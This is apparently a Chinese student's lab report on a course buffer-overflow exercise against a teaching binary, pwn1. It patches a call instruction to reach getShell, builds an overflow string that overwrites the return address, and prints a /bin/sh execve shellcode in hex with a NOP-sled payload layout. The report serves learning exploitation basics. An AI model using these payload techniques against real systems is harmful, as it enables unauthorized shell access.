1.逆向及Bof基础实践说明
1.1-实践目标
- 对象:pwn1(linux可执行文件)
- 目标:使程序执行另一个代码片段:getshell
- 内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2-基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
2.直接修改程序机器指令,改变程序执行流程
- 知识要求、学习目标等指导书中已经写得很清楚了,就不再赘述
2.1-反汇编查看函数地址
对pwn1文件进行反汇编,得到如下结果
中80484b5中的指令为“call 8048491”,具体含义为:
- 本条指令将调用位于地址8048491处的函数,即foo函数。
- 本条指令对应机器指令“e8 d7 ff ff ff",可以推测出e8即为跳转之意。
2.2-vi中修改地址,反汇编查看结果
-
这样的话,d7 ff ff ff肯定对应着8048491,而且明显是通过和另一个值加减运算得到8048491这个地址,利用实验指导书里的计算方法,则可以计算出getshell函数的地址,并将d7 ff ff ff替换成为getshell函数地址相对的值即可。
root@Zenglin:~/exp1# cp pwn1 20154312
root@Zenglin:~/exp1# vi pwn2
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.再反汇编看一下,call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn2 | more
...
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d <getShell>
80484ba: b8 00 00 00 00 mov $0x0,%eax
9.运行下改后的代码,会得到shell提示符#
root@Zenglin:~/exp1# ./pwn2
# ls
pwn1 20154312
3 通过构造输入参数,造成BOF攻击,改变程序执行流
3.1 反汇编,了解程序的基本功能
其实主要是三段函数getshell
foo
main
只要搞清楚三段函数之间的跳转关系,很容易改变函数的执行顺序。
3.2 确认输入字符串哪几个字符会覆盖到返回地址
这主要是一个不断尝试的过程(在不看指导书的情况下),当然如果你看了指导书就可以直接知道哪几个字符会覆盖到返回地址上(我是自己尝试了几遍不同长度的字符串)
这张图可以看到eip被0x35353535覆盖了,查ASCII表就可以知道35对应着十进制的5,大概可以猜测是最后的几个5覆盖到了eip上。
这张图就很明显可以看出来覆盖eip的是1234,现在我们知道字符串中哪几个字符会覆盖eip了,接下来我们就要把字符串中会覆盖eip的字符替换成getshell的地址
3.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x7d\x84\x04\x08。
3.4 构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
- 使用16进制查看指令xxd查看input文件的内容是否如预期
- 将input的输入,通过管道符“|”,作为pwn1的输入
4. 注入Shellcode并执行
4.1 准备一段Shellcode
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
实践采用老师推荐的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
- 先利用
apt-get install execstack
命令安装execstack软件包
- 进行如下设置
4.3 构造要注入的payload
这一部分两种方法我都尝试了,先说第一种
先注入这一段字符串,然后利用另一个终端跟踪执行
这一部分是坑,我也就没打算跳,接下来是成功的anything+retaddr+nops+shellcode结构的注入模式。
到这里注入就已经完成了,nc模拟远程攻击和Bof防御还没完成,完成了的话再上传上来吧。